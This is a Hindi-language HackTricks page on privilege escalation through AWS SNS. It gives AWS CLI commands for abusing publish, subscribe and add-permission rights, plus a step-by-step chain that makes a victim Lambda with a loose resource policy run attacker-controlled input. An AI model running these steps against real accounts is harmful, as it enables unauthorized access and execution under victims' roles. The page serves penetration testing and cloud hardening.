AWS - SNS Privesc

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SNS

अधिक जानकारी के लिए देखें:

AWS - SNS Enum

sns:Publish

एक हमलावर SNS topic पर हानिकारक या अवांछित संदेश भेज सकता है, जो संभावित रूप से डेटा करप्शन, अनपेक्षित कार्रवाइयों को ट्रिगर करने, या संसाधनों को समाप्त करने का कारण बन सकता है।

bash
aws sns publish --topic-arn <value> --message <value>

Potential Impact: कमजोरियों का शोषण, डेटा भ्रष्ट होना, अनचाही क्रियाएँ, या संसाधनों का अत्यधिक उपभोग।

sns:Subscribe

एक हमलावर SNS टॉपिक पर सदस्यता ले सकता है, जिससे वह संदेशों तक अनधिकृत पहुँच प्राप्त कर सकता है या उन अनुप्रयोगों के सामान्य कार्य में बाधा डाल सकता है जो उस टॉपिक पर निर्भर करते हैं।

bash
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>

संभावित प्रभाव: संदेशों (संवेदनशील जानकारी) तक अनधिकृत पहुँच; प्रभावित टॉपिक पर निर्भर अनुप्रयोगों के लिए सेवा में व्यवधान।

sns:AddPermission

एक हमलावर अनधिकृत उपयोगकर्ताओं या सेवाओं को किसी SNS टॉपिक की पहुँच दे सकता है, और इस तरह संभवतः और अधिक अनुमतियाँ हासिल कर सकता है।

bash
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>

Potential Impact: टॉपिक तक अनधिकृत पहुंच, संदेशों का खुलासा, या अनधिकृत उपयोगकर्ताओं या सेवाओं द्वारा टॉपिक में हेरफेर, उन एप्लिकेशन्स के सामान्य कार्य में विघ्न जो उस टॉपिक पर निर्भर हैं।

Invoke a Lambda by abusing wildcard SNS permission (no SourceArn)

यदि किसी Lambda function की resource-based policy sns.amazonaws.com को इसे invoke करने की अनुमति देती है बिना स्रोत टॉपिक (SourceArn) को सीमित किए, तो कोई भी SNS topic (यहाँ तक कि किसी अन्य account का भी) subscribe करके उस function को trigger कर सकता है। एक attacker जिसके पास बुनियादी SNS permissions हों, Lambda को उसके IAM role के अंतर्गत attacker-controlled input के साथ execute करवाने के लिए मजबूर कर सकता है।

tip

TODO: क्या यह वाकई cross-account किया जा सकता है?

Preconditions

  • Victim Lambda policy contains a statement like below, with NO SourceArn condition:
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}

दुरुपयोग चरण (एक ही या क्रॉस-खाता)

bash
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)

# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>

# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'

संभावित प्रभाव: पीड़ित Lambda अपने IAM role के साथ चलता है और attacker-controlled input को प्रोसेस करता है। इसके permissions के आधार पर, इसे दुरुपयोग करके फ़ंक्शन को संवेदनशील कार्य करने के लिए मजबूर किया जा सकता है (उदा., S3 पर लिखना, secrets तक पहुँच, resources को संशोधित करना)।

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें